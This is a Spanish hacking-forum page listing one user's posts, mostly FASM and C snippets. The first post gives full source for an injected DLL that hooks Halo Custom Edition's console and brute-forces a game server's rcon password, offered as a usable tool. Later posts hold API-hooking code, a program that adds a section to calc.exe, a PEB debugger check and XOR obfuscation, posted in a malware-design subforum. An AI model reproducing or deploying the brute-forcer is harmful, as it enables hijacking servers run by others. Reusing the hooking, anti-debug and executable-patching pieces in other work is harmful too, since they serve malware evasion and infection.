elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 6 [7] 8 9 10
61  Programación / ASM / Source Halo Rcon Force Brute. en: 6 Octubre 2012, 12:09 pm
Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.

Código
  1. ; Halo Rcon Ataque de Fuerza Bruta v0.1.
  2. ; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
  3. ; 13 - Septiembre - 2012
  4.  
  5. ; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
  6. ; las pueden consultar a mi correo: drinky.94@hotmail.com
  7.  
  8. ; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
  9.  
  10. format PE GUI 4.0 DLL
  11. entry DllEntryPoint
  12.  
  13. include 'win32ax.inc'
  14.  
  15. section '.code' code readable executable
  16.  
  17. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
  18. cmp [fdwReason],1
  19. jne salir
  20.  
  21. mov eax,[EstadoConsola]
  22. mov byte[eax],1 ; Emulamos que la consola esta desplegada.
  23.  
  24. push Bienvenida
  25. push string
  26. xor eax,eax
  27. call ImprimirVerdadero ; Imprimimos mensage de bienvenida
  28. add esp,0x8
  29.  
  30. push Autor
  31. push string
  32. xor eax,eax
  33. call ImprimirVerdadero ; Imprimimos autor
  34. add esp,0x8
  35.  
  36. mov eax,[EstadoConsola]
  37. mov byte[eax],0
  38.  
  39. invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar
  40.  
  41. mov eax,[Procesar]
  42.  
  43. mov byte[eax],0x68 ; push
  44. inc eax
  45. mov dword[eax],mProcesar     ; direccion
  46. add eax,4
  47. mov byte[eax],0xC3     ; ret
  48.  
  49. invoke Sleep,1
  50.  
  51. invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir
  52.  
  53. mov eax,[Imprimir]
  54.  
  55. mov byte[eax],0x68 ; push
  56. inc eax
  57. mov dword[eax],mImprimir     ; direccion
  58. add eax,4
  59. mov byte[eax],0xC3     ; ret
  60.  
  61.  
  62. invoke GetCurrentProcess
  63. invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones
  64.  
  65. salir:
  66. ret
  67. endp
  68.  
  69. ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
  70. sub esp,0x10 ; 6 primeros bytes de la función imprimir
  71. push edi
  72. mov edi,eax
  73.  
  74. mov eax,[Imprimir]
  75.  
  76. add eax,6 ; Saltamos a la función original
  77. jmp eax
  78.  
  79. mImprimir:
  80. mov ebp,esp
  81. push ebp
  82.  
  83. mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.
  84.  
  85. .if eax = 0
  86.    pop ebp
  87.    ret
  88. .endif
  89.  
  90. cmp [HackOn],0
  91. je  NoFiltro
  92.  
  93. ; Hay que poner bandera a 1
  94. .if byte[eax] = 'A'
  95.    .if byte[eax+2] = 'c'
  96. pop ebp
  97. jmp SeguimosBus
  98.    .endif
  99. .endif
  100.  
  101. .if byte[eax] = 'r'
  102.    .if byte[eax+2] = 'o'
  103. pop ebp
  104. SeguimosBus:
  105. .if [Bandera] <> 1
  106.    call SaltoSinFlujo
  107. .endif
  108. ret
  109.    .endif
  110. .endif
  111.  
  112. .if byte[eax] = 's'
  113.    .if byte[eax+3] = 'r'
  114. pop ebp
  115.  
  116. mov [Bandera],1
  117.  
  118. mov edi,LimpiarConsola
  119. call ProcesarVerdadero ; Limpiamos la consola
  120.  
  121. push OkClave
  122. push string
  123. xor eax,eax
  124. call ImprimirVerdadero
  125. add esp,8
  126.  
  127. push ImprClave
  128. push string
  129. xor eax,eax
  130. call ImprimirVerdadero
  131. add esp,8
  132.  
  133. mov [HackOn],0
  134.  
  135. ret
  136.    .endif
  137. .endif
  138.  
  139. NoFiltro:
  140.  
  141. push eax
  142. push string
  143. xor eax,eax
  144. call ImprimirVerdadero
  145. add esp,0x8
  146.  
  147. pop ebp
  148. ret
  149.  
  150. SaltoSinFlujo:
  151.  
  152. invoke TerminateThread,[HiloViejo],0
  153. invoke CreateThread,0,0,DarFlujo,0,0,0
  154. mov [HiloViejo],eax
  155.  
  156. ret
  157.  
  158. DarFlujo:
  159.  
  160. invoke Sleep,500
  161.  
  162. mov edi,LimpiarConsola
  163. call ProcesarVerdadero ; Limpiamos la consola
  164.  
  165. jmp BucleClaves3
  166. ret
  167.  
  168. mProcesar:
  169. .if byte[edi] = 'm'
  170.    .if byte[edi+4] = 'y'
  171. call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
  172.  
  173. push Iniciando
  174. push string
  175. xor eax,eax
  176. call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
  177. add esp,8
  178.  
  179. invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
  180.  
  181. mov [HackOn],1
  182.  
  183. ret
  184.    .endif
  185. .endif
  186.  
  187. call ProcesarVerdadero
  188. ret
  189.  
  190. mFB:
  191. mov edi,CadenaClave
  192.  
  193. mov [Letra1],64 ; Letra1 = Primer byte
  194.  
  195. BucleClaves:
  196.  
  197. inc [Letra1]
  198.  
  199. mov eax,CadenaClave
  200. add eax,5
  201.  
  202. mov dl,byte[Letra1]
  203. mov byte[eax],dl
  204. mov byte[ImprClave],dl
  205.  
  206. mov [Letra2],64   ; Letra2 = Segundo byte
  207.  
  208. BucleClaves2:
  209.  
  210. inc [Letra2]
  211. mov eax,CadenaClave
  212. add eax,6
  213.  
  214. mov cl,byte[Letra2]
  215. mov byte[eax],cl
  216. mov byte[ImprClave+1],cl
  217.  
  218.  
  219. mov [Letra3],64    ; Letra3 = Tercer Byte
  220.  
  221. BucleClaves3:
  222. inc [Letra3]
  223. mov eax,CadenaClave
  224. add eax,7
  225.  
  226. mov bl,byte[Letra3]
  227. mov byte[eax],bl
  228. mov byte[ImprClave+2],bl
  229.  
  230. mov eax,[EstadoConsola]
  231. mov byte[eax],1
  232.  
  233. push ImprClave
  234. push string
  235. xor eax,eax
  236. call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
  237. add esp,0x8
  238.  
  239. mov edi,CadenaClave
  240. call ProcesarVerdadero ; Procesamos la intruccion
  241.  
  242. ; por aqui no se pueden poner Sleep porque el programa se salta las rcon
  243.  
  244. .if [Letra3] >= 90
  245.     mov [Letra3],65
  246.     inc [Letra2]
  247.  
  248.     mov eax,CadenaClave
  249.     add eax,6
  250.  
  251.     mov cl,byte[Letra2]
  252.     mov byte[eax],cl
  253.     mov byte[ImprClave+1],cl
  254. .endif
  255.  
  256. .if [Letra2] >= 90
  257.    mov [Letra2],65
  258.    inc [Letra1]
  259.    mov eax,CadenaClave
  260.    add eax,5
  261.  
  262.    mov dl,byte[Letra1]
  263.    mov byte[eax],dl
  264.    mov byte[ImprClave],dl
  265. .endif
  266.  
  267. ret
  268.  
  269.  
  270. ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
  271. mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
  272. sub esp,0x500
  273. cmp al,0x3B
  274.  
  275. mov edx,[Procesar]
  276.  
  277. add edx,0xA ; Saltamos a la funcion procesar verdadera
  278. jmp edx
  279.  
  280. section '.data' data readable writeable
  281. Bienvenida      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
  282. Autor      db '+ Programado por mDrinky.',0
  283. CadenaClave      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
  284. ImprClave      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
  285. LimpiarConsola      db 'cls',0
  286. OkClave      db 'La rcon del servidor es:',0
  287. string      db '%s',0
  288. Iniciando      db 'Iniciando Fuerza Bruta al servidor!',0
  289.  
  290. Letra1      dd ?
  291. Letra2      dd ?
  292. Letra3      dd ?
  293. oPerm      dd ?
  294. HiloViejo      dd ?
  295. Bandera      dd ?
  296. HackOn      dd ?
  297.  
  298. EstadoConsola      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
  299. Procesar      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
  300. CerrarConsola      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
  301. Imprimir      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla
  302.  
  303. section '.idata' import data readable writeable
  304.  library kernel,'KERNEL32.DLL',\
  305. USER32,'USER32.DLL'
  306.  
  307.  import kernel,\
  308. VirtualProtect,'VirtualProtect',\
  309. CreateThread,'CreateThread',\
  310. FlushInstructionCache,'FlushInstructionCache',\
  311. GetCurrentProcess,'GetCurrentProcess',\
  312. Sleep,'Sleep',\
  313. TerminateThread,'TerminateThread'
  314.  
  315.  import USER32,\
  316. MessageBoxA,'MessageBoxA'
  317.  
  318. section '.reloc' fixups data discardable



Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que  avise!.



un saludo.
62  Foros Generales / Foro Libre / Ya que estamos de politica pregunto a los Españoles. en: 23 Septiembre 2012, 19:20 pm
Todos los que votaron el actual gobierno si tuvieran que volver a votar a dia de hoy les volverían a dar su voto?

Creo que la gente esta un poco harta de bipartidismo.

63  Programación / ASM / Derechos de acceso y API Hooking en: 12 Septiembre 2012, 11:53 am
Que hay gente  :P

Bueno mi problema es el siguiente, en mi programa realizo dos hook a dos funciones, si realizo un hook solo me va perfecto pero si realizo los dos a la vez falla alguno. Llevo como 2 horas intentando ver el fallo he intentado todo lo que se me a ocurrido pero me sigue sin funcionar... el código es este:

Código
  1.        invoke VirtualProtectEx,-1,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm
  2.  
  3.        mov eax,[Procesar]
  4.  
  5.        mov byte[eax],0x68      ; push
  6.        inc eax
  7.        mov dword[eax],mProcesar     ; direccion
  8.        add eax,4
  9.        mov byte[eax],0xC3     ; ret
  10.  
  11.        invoke VirtualProtectEx,-1,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm
  12.  
  13.        mov eax,[Imprimir]
  14.  
  15.        mov byte[eax],0x68      ; push
  16.        inc eax
  17.        mov dword[eax],mImprimir     ; direccion
  18.        add eax,4
  19.        mov byte[eax],0xC3     ; ret  

echando un ojo desde OllyDbg me percate de que es la API VirtualProtectEx la que no da bien los permisos y falla al hookear pero no consigo saber porque... de igual forma seguro que a alguno de vosotros le a pasado lo mismo y sabe porque es.

un saludo!!
64  Programación / ASM / Heap en: 1 Julio 2012, 03:07 am
Bueno pues en una conversacion con un amigo salio la conversacion de la pila y el heap y me surgio la siguiente duda que no pudimos solucionar entre los dos...

La pila la puedes manejar desde instrucciones en ASM y puedes gestionar esa memoria, que tiene un limite como quieras, pero el heap donde esta?  no creo que eso se reserve con los datos del formato PE ya que puedes utilizar esta memoria dinamicamente con el tamaño que deses... pensando pensando me llego una ligera idea de que el heap lo maneja el SO, para gestionar bien la memoria RAM o que se yo... alguien sabe responder dicha duda?


saludos.
65  Programación / ASM / Crear gráficos en: 1 Mayo 2012, 12:47 pm
Como se pueden crear gráficos a partir de la consola? es una duda que tengo desde hace bastante   :xD

saludos.
66  Foros Generales / Sugerencias y dudas sobre el Foro / Sección Analisis y Diseño de Malware en: 15 Diciembre 2011, 13:29 pm
Ultimamente se esta desmadrando y solo hay preguntas de tipo "lammer", no estaria de menos que se pusieran unas reglas y que se empezaran a eliminar post mas que absurdos y que no siguen la politica del foro ni la ética, ademas creo que en algun momento estuvieron prohibidos en ese subforo.

saludos.
67  Seguridad Informática / Análisis y Diseño de Malware / Intento de agregar sección a ejecutable en: 16 Septiembre 2011, 23:22 pm
Ya estoi aqui de nuevo, esta vez e intentado agregar una nueva sección a un ejecutable, sin exito  :xD

este es el código que tengo:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4.  
  5. int main()
  6. {
  7. IMAGE_DOS_HEADER dh;
  8. IMAGE_NT_HEADERS nth;
  9.  
  10. IMAGE_SECTION_HEADER * sección;
  11. IMAGE_SECTION_HEADER nSeccion;
  12.    // char * stub_dos -> Datos del STUB_DOS
  13.    // char * dSecciones -> Datos de las secciones
  14.  
  15. FILE * archivo = fopen("c:\\windows\\system32\\calc.exe","r+b");
  16.    if (archivo == NULL)
  17.    {
  18.        printf("Error al leer el archivo\n");
  19.        system("PAUSE");
  20.  
  21.        return 1;
  22.    }
  23.  
  24. fread(&dh,sizeof(dh),1,archivo); // Rellenamos IMAGE_DOS_HEADER
  25.  
  26.    char * stub_dos = (char*)malloc(dh.e_lfanew-0x40);
  27.  
  28.    fread(stub_dos,1,dh.e_lfanew-0x40,archivo); // Leemos el Stub DOS
  29.    fread(&nth,sizeof(nth),1,archivo); // leemos nt headers
  30.  
  31.    sección = (IMAGE_SECTION_HEADER*)malloc(sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections);
  32.  
  33.    fread(sección,sizeof(IMAGE_SECTION_HEADER),nth.FileHeader.NumberOfSections,archivo);
  34.  
  35.    char * dSecciones = (char*)malloc(nth.OptionalHeader.SizeOfImage);
  36.    fread(dSecciones,nth.OptionalHeader.SizeOfImage,1,archivo); //leo todos los datos de las secciones.
  37.  
  38.    fclose(archivo); // terminamos de leer
  39.  
  40.    ZeroMemory(&nSeccion,sizeof(IMAGE_SECTION_HEADER));
  41.  
  42.    int A = sección[nth.FileHeader.NumberOfSections-1].VirtualAddress;
  43.    int B = sección[nth.FileHeader.NumberOfSections-1].Misc.VirtualSize;
  44.    int C = nth.OptionalHeader.SectionAlignment;
  45.  
  46.    strcpy((char*)nSeccion.Name,".fary"); // nombre de la nueva sección: .fary
  47.    nSeccion.VirtualAddress = ((A+B)/C)*C+C;// direccion Virtual
  48.    nSeccion.SizeOfRawData = 0x64; // tamaño de la sección: 100
  49.    nSeccion.PointerToRawData = sección[nth.FileHeader.NumberOfSections-1].PointerToRawData + 0x64;  // direccion fisica
  50.    nSeccion.Characteristics = 0x10000020;
  51.    nSeccion.Misc.VirtualSize = 0x64;
  52.    //nSeccion.VirtulSize
  53.  
  54.    nth.FileHeader.NumberOfSections += 1; // sumamos la nueva sección
  55.    nth.OptionalHeader.SizeOfImage += 0x64;
  56.  
  57.    FILE * nuevo = fopen("NuevaCalc.exe","wb+");
  58.  
  59.    fwrite(&dh,sizeof(dh),1,nuevo);
  60.    fwrite(stub_dos,dh.e_lfanew-0x40,1,nuevo);
  61.    fwrite(&nth,sizeof(nth),1,nuevo);
  62.    fwrite(sección,sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections,1,nuevo);
  63.    fwrite(&nSeccion,sizeof(IMAGE_SECTION_HEADER),1,nuevo);
  64.    fwrite(dSecciones,nth.OptionalHeader.SizeOfImage,1,nuevo);
  65.  
  66.    char * DatosSeccion = (char*)malloc(0x64);
  67.    ZeroMemory(DatosSeccion,0x64);
  68.  
  69.    fwrite(DatosSeccion,0x64,1,nuevo);
  70.  
  71.    fclose(nuevo);
  72. system("PAUSE");
  73. return 0;
  74. }

Genera bien el nuevo archivo pero no pone bien los datos de la sección y ni que decir de ejecutarse (peta) XD. Así es como salen los datos de mi sección desde el lordPE:




haber si aguien sabe que ago mal...

saludos.
68  Seguridad Informática / Análisis y Diseño de Malware / [AYUDA] formato PE obtener dirección fisica de secciones y mas cosas en: 2 Septiembre 2011, 13:38 pm
Buenas, bueno al fin he decidido meterme de lleno a aprender el formato PE y tenia pensado agrandar  la sección de código par aintroducir un pequeño opcode con un msgbox y tal una chorradilla pero para ensayar no me parece mal  >:D.
El problema viene cuando no puedo detectar el ISH bien de todas las secciones, solo lo detecta bien de la primera, el código que he creado es este:

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. int main()
  6. {
  7. IMAGE_DOS_HEADER idh;
  8. IMAGE_FILE_HEADER ifh;
  9. IMAGE_OPTIONAL_HEADER ioh;
  10. IMAGE_SECTION_HEADER ish;
  11.  
  12. char ruta[] = "C:\\MS-DOC.exe";
  13.  
  14. FILE * archivo = fopen(ruta,"r+b");
  15. if (archivo == NULL)
  16. { // si no podemos abrri el archivo.
  17. printf("Error al abrir el archivo\n");
  18. system("PAUSE");
  19.  
  20. return 1;
  21. }
  22.  
  23. fread(&idh,0x40,1,archivo); // rellenamos IMAGE_DOS_HEADER
  24. if (idh.e_magic != IMAGE_DOS_SIGNATURE)
  25. { // comprovamos el e_magic para saber si es un EXE
  26. printf("No es un archivo EXE\n");
  27. system("PAUSE");
  28.  
  29. return 1;
  30. }
  31.  
  32. fseek(archivo,idh.e_lfanew + 4,SEEK_SET);
  33. fread(&ifh,0x14,1,archivo); // rellenamos IMAGE_FILE_HEADER
  34. fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh), SEEK_SET);
  35. fread(&ioh,ifh.SizeOfOptionalHeader,1,archivo); // Leemos IMAGE_OPTIONAL_HEADER
  36.  
  37. int suma = 0;
  38.  
  39. for (int i=0;i<ifh.NumberOfSections;i++)
  40. {
  41. fseek(archivo, idh.e_lfanew + 4 + sizeof(ifh) + ifh.SizeOfOptionalHeader + (sizeof(ish)*(ifh.NumberOfSections-1)) + suma ,SEEK_SET);
  42. fread(&ish, sizeof(ish),1,archivo); // rellenamos IMAGE_SECTION_HEADER
  43.  
  44. printf("%x\n",(&ish)[i].Misc.PhysicalAddress);
  45.  
  46. suma += 0x28; // sumo 0x28 que es lo que ocupa ish para pasar a los datos de la siguiente sección.
  47. }
  48.  
  49. fclose(archivo);
  50.  
  51. system("PAUSE");
  52.  
  53. return 0;
  54. }

Nose que andará mal por ahi si me peuden hechar una mano sería de gran ayuda >:(

un saludo.
69  Seguridad Informática / Análisis y Diseño de Malware / Error intentando hookear FindNextFileA en: 4 Agosto 2011, 13:03 pm
pues eso, estoi intentando hookear la api FindNextFileA con una dll que estoi creando en FASM pero no hay manera, el programa me explota cuando arga la dll y intento usar la api, el problema creo que esta en que no vuelve a llamar correctamente al api que modifique y por eso explota :S

Este es el código:

Código
  1. format PE GUI 4.0 DLL
  2. entry DllEntryPoint
  3.  
  4. include 'd:\Fasm\INCLUDE\win32ax.inc'
  5.  
  6. section '.code' code readable executable
  7.  
  8. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
  9.        cmp [fdwReason],1
  10.        je mensage
  11.        jne salir
  12.  
  13.        mensage:
  14.  
  15.        invoke LoadLibrary,"Kernel32.dll"
  16.        invoke GetProcAddress,eax,"FindNextFileA"
  17.        mov ebx,eax ; Dirección de la api en ebx
  18.  
  19.        mov [PunteroOri],ebx
  20.  
  21.        lea edx,dword[ebp-4]
  22.        invoke VirtualProtectEx,-1,ebx,7,PAGE_EXECUTE_READWRITE,edx
  23.  
  24.  
  25.        mov ecx,ApiOriginal
  26.  
  27.        lea edx,dword[ebp-4]
  28.        invoke VirtualProtectEx,-1,ecx,7,PAGE_EXECUTE_READWRITE,edx
  29.  
  30.        mov al,byte[ebx] ; movemos el primer byte
  31.        mov byte[ecx],al
  32.  
  33.        mov byte[ebx],0x68  ; push
  34.        inc ebx
  35.        inc ecx
  36.  
  37.        mov eax,dword[ebx]   ; movemos 4 bytes
  38.        mov dword[ecx],eax
  39.  
  40.        mov dword[ebx],Funcion ; dreccion funcion
  41.        add ebx,4
  42.        add ecx,4
  43.  
  44.        mov al,byte[ebx] ; ultimo byte
  45.        mov byte[ecx],al
  46.  
  47.        mov byte[ebx],0xC3   ;ret
  48.        inc ebx
  49.  
  50.        salir:
  51.        ret
  52. endp
  53.  
  54. Funcion:
  55.  
  56.             ApiOriginal:
  57.             nop
  58.             nop
  59.             nop
  60.             nop
  61.             nop
  62.             nop
  63.  
  64.             mov eax,[PunteroOri]
  65.             add eax,6
  66.             jmp eax
  67.  
  68.             ret
  69.  
  70.  
  71. ; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
  72.  
  73. proc ShowErrorMessage hWnd,dwError
  74.  local lpBuffer:DWORD
  75.        lea     eax,[lpBuffer]
  76.        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
  77.        invoke  MessageBoxA,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
  78.        invoke  LocalFree,[lpBuffer]
  79.        ret
  80. endp
  81.  
  82. ; VOID ShowLastError(HWND hWnd);
  83.  
  84. proc ShowLastError hWnd
  85.        invoke  GetLastError
  86.        stdcall ShowErrorMessage,[hWnd],eax
  87.        ret
  88. endp
  89.  
  90.  
  91.  
  92. section '.data' data readable writeable
  93.        PunteroOri dd ?
  94.  
  95. section '.idata' import data readable writeable
  96.  
  97.  library kernel,'KERNEL32.DLL',\
  98.          user,'USER32.DLL'
  99.  
  100.  import kernel,\
  101.         GetLastError,'GetLastError',\
  102.         SetLastError,'SetLastError',\
  103.         FormatMessage,'FormatMessageA',\
  104.         LocalFree,'LocalFree',\
  105.         LoadLibrary,'LoadLibraryA',\
  106.         GetProcAddress,'GetProcAddress',\
  107.         VirtualProtectEx,'VirtualProtectEx',\
  108.         ExitProcess,'ExitProcess'
  109.  
  110.  import user,\
  111.         MessageBoxA,'MessageBoxA'
  112.  
  113. section '.edata' export data readable
  114.  
  115.  export 'ERRORMSG.DLL',\
  116.         ShowErrorMessage,'ShowErrorMessage',\
  117.         ShowLastError,'ShowLastError'
  118.  
  119. section '.reloc' fixups data discardable
  120.  


Tambien me gustaría que me explicasen como puedo debugear estas cosas ya que no lo tengo muy claro  :-\

saludos.
70  Programación / ASM / Funciones en FASM en: 10 Julio 2011, 13:25 pm
Os dejo algunas funciones en FASM que e ido haciendo desde que empece con asm.

Función que compara dos cadenas:

Código
  1.    proc Comparar,cadena1,cadena2
  2.            ;Si son iguales  EAX = 1
  3.            ;Si son diferentes EAX = 0
  4.            mov esi,[cadena1]
  5.            mov ecx,[cadena2]
  6.            dec ecx
  7.            bucle:
  8.                inc ecx
  9.                lodsb
  10.                cmp byte[ecx],al
  11.                jne diferentes
  12.                cmp al,0
  13.                je comprovar
  14.                jmp bucle
  15.            comprovar:
  16.                cmp byte[ecx],0
  17.                je iguales
  18.                jne diferentes
  19.            diferentes:
  20.                mov eax,0
  21.                ret
  22.            iguales:
  23.                mov eax,1
  24.                ret
  25.         endp

Ejemplo de su uso:

Código
  1.    include 'win32ax.inc'
  2.  
  3.    .data
  4.        palabra db 'Drinky94',0
  5.        palabra2 db 'Drinky94',0
  6.  
  7.    .code
  8.    start:
  9.        stdcall Comparar,palabra,palabra2
  10.        .if eax = 0
  11.            invoke MessageBoxA,0,'Son Diferentes',0,0
  12.        .else
  13.            invoke MessageBoxA,0,'Son Iguales',0,0
  14.        .endif
  15.        ret
  16.  
  17.        proc Comparar,cadena1,cadena2
  18.            ;Si son iguales  EAX = 1
  19.            ;Si son diferentes EAX = 0
  20.            mov esi,[cadena1]
  21.            mov ecx,[cadena2]
  22.            dec ecx
  23.            bucle:
  24.                inc ecx
  25.                lodsb
  26.                cmp byte[ecx],al
  27.                jne diferentes
  28.                cmp al,0
  29.                je comprovar
  30.                jmp bucle
  31.            comprovar:
  32.                cmp byte[ecx],0
  33.                je iguales
  34.                jne diferentes
  35.            diferentes:
  36.                mov eax,0
  37.                ret
  38.            iguales:
  39.                mov eax,1
  40.                ret
  41.         endp
  42.    .end start



Función que mide la longitud de una cadena:

Código
  1.    proc Len,Cadena
  2.            ;ECX = Longitud de la cadena.
  3.            mov eax,[Cadena]
  4.            mov ecx,-1
  5.            bucle:
  6.                inc ecx
  7.                cmp byte[eax+ecx],0
  8.                jne bucle
  9.            ret
  10.    endp

Ejemplo de su uso:

Código
  1.    include 'win32ax.inc'
  2.  
  3.    .data
  4.        palabra db 'Drinky94',0
  5.        longitud dd ?
  6.    .code
  7.    start:
  8.        stdcall Len,palabra
  9.        mov [longitud],ecx
  10.        invoke GlobalAlloc,GPTR,1024
  11.        push eax
  12.        invoke wsprintfA,eax,"%d",[longitud]
  13.        pop eax
  14.        invoke MessageBox,0,eax,0,MB_OK
  15.        leave
  16.        ret
  17.  
  18.        proc Len,Cadena
  19.            ;ECX = Longitud de la cadena
  20.            mov eax,[Cadena]
  21.            mov ecx,-1
  22.            bucle:
  23.                inc ecx
  24.                cmp byte[eax+ecx],0
  25.                jne bucle
  26.            ret
  27.        endp
  28.    .end start



Función que puede servir de remplazo a GlobalAlloc:

Código
  1.    proc DGlobalAlloc,cantidad
  2.            sub esp,[cantidad]
  3.            mov eax,esp
  4.            ret
  5.    endp

Ejemplo de su uso:

Código
  1.    include 'win32ax.inc'
  2.  
  3.    .data
  4.        palabra db 'Drinky94',0
  5.        longitud dd ?
  6.    .code
  7.    start:
  8.  
  9.        stdcall Len,palabra
  10.        mov [longitud],ecx
  11.        stdcall DGlobalAlloc,1024
  12.        push eax
  13.        invoke wsprintfA,eax,"%d",[longitud]
  14.        pop eax
  15.        invoke MessageBox,0,eax,0,MB_OK
  16.        leave
  17.        ret
  18.  
  19.        proc Len,Cadena
  20.            mov eax,[Cadena]
  21.            mov ecx,-1
  22.            bucle:
  23.                inc ecx
  24.                cmp byte[eax+ecx],0
  25.                jne bucle
  26.            ret
  27.        endp
  28.  
  29.        proc DGlobalAlloc,cantidad
  30.            sub esp,[cantidad]
  31.            mov eax,esp
  32.            ret
  33.        endp
  34.    .end start



Código para saber si nos están debuggeando (usa el PEB):

Código
  1.    format PE GUI 4.0
  2.    entry start
  3.  
  4.    include 'win32ax.inc'
  5.  
  6.        SiDbg db 'Hay Debugger',0
  7.        NoDbg db 'No hay Debugger',0
  8.  
  9.    start:
  10.            mov eax,dword[fs:18h]
  11.            mov eax,dword[eax+30h]
  12.            mov bl,byte[eax+2]  ; si bl = 1 Nos estan debujeando.
  13.  
  14.            .if bl = 1
  15.                invoke MessageBoxA,0,SiDbg,0,0
  16.            .else
  17.                invoke MessageBoxA,0,NoDbg,0,0
  18.            .endif
  19.            ret
  20.  
  21.    data import
  22.            library user32,'user32.dll'
  23.  
  24.            import user32,MessageBoxA,'MessageBoxA'
  25.  
  26.    end data            



Simple cifrado Xor:

Código
  1.    proc Cifrar,Cadena
  2.                xor ecx,ecx
  3.                mov eax,[Cadena]
  4.                .bucle:
  5.                    .if byte[eax+ecx] = 0
  6.                        jmp .salir
  7.                    .endif
  8.                    xor byte[eax+ecx],7
  9.                    inc ecx
  10.                    jmp .bucle
  11.                .salir:
  12.                ret
  13.             endp

Ejemplo de su uso:

Código
  1.    include 'win32ax.inc'
  2.  
  3.    .data
  4.            hola db 'hola',0
  5.  
  6.    .code
  7.    start:
  8.             stdcall Cifrar,hola
  9.             invoke MessageBoxA,0,eax,0,0
  10.             ret
  11.  
  12.             proc Cifrar,Cadena
  13.                xor ecx,ecx
  14.                mov eax,[Cadena]
  15.                .bucle:
  16.                    .if byte[eax+ecx] = 0
  17.                        jmp .salir
  18.                    .endif
  19.                    xor byte[eax+ecx],7
  20.                    inc ecx
  21.                    jmp .bucle
  22.                .salir:
  23.                ret
  24.             endp
  25.    .end start    



Función que pasa un número entero a cadena:

Código
  1. proc NumToString,Numero
  2.                ;Función creada por Drinky94. Agradecimientos a Jep.
  3.                locals
  4.                        divisor dw ?
  5.                        ; buffer rb 20  Agregar esta variable en la sección data
  6.                        ; El numero 20 es la longitud que tendra la cadena
  7.                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
  8.                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
  9.                endl
  10.  
  11.                mov [divisor],10
  12.                xor eax,eax
  13.                xor ebx,ebx
  14.                mov eax,[Numero]
  15.                bucle:
  16.                        xor edx,edx
  17.                        div [divisor]
  18.                        add dl,0x30
  19.                        mov byte[buffer+ebx],dl
  20.                        inc ebx
  21.                        cmp eax,0
  22.                            jne bucle
  23.                inc ebx
  24.                mov byte[buffer+ebx],0x0
  25.                mov eax,buffer
  26.                mov ecx,-1
  27.                buclelen:
  28.                        inc ecx
  29.                        cmp byte[eax+ecx],0
  30.                            jne buclelen
  31.                xor ebx,ebx
  32.                dec ecx
  33.                reverse:
  34.                        xor edx,edx
  35.                        mov dl,byte[eax+ecx]
  36.                        mov byte[CadenaFinal+ebx],dl
  37.                        inc ebx
  38.                        sub ecx,1
  39.                        cmp ecx,-1
  40.                            jne reverse
  41.                mov eax,CadenaFinal
  42.                ret
  43.        endp  

Ejemplo de su uso:

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.        buffer rb 4
  5.        CadenaFinal rb 4
  6. .code
  7. start:
  8.        stdcall NumToString,1994
  9.        invoke MessageBoxA,0,eax,0,0
  10.        ret
  11.  
  12.        proc NumToString,Numero
  13.                ;Función creada por Drinky94. Agradecimientos a Jep.
  14.                locals
  15.                        divisor dw ?
  16.                        ; buffer rb 20  Agregar esta variable en la sección data
  17.                        ; El numero 20 es la longitud que tendra la cadena
  18.                        ;si nuestro numero tiene 4 cifras tendremos que poner 4
  19.                        ; CadenaFinal rb 20  ; lo mismo que con la variable buffer.
  20.                endl
  21.  
  22.                mov [divisor],10
  23.                xor eax,eax
  24.                xor ebx,ebx
  25.                mov eax,[Numero]
  26.                bucle:
  27.                        xor edx,edx
  28.                        div [divisor]
  29.                        add dl,0x30
  30.                        mov byte[buffer+ebx],dl
  31.                        inc ebx
  32.                        cmp eax,0
  33.                            jne bucle
  34.                inc ebx
  35.                mov byte[buffer+ebx],0x0
  36.                mov eax,buffer
  37.                mov ecx,-1
  38.                buclelen:
  39.                        inc ecx
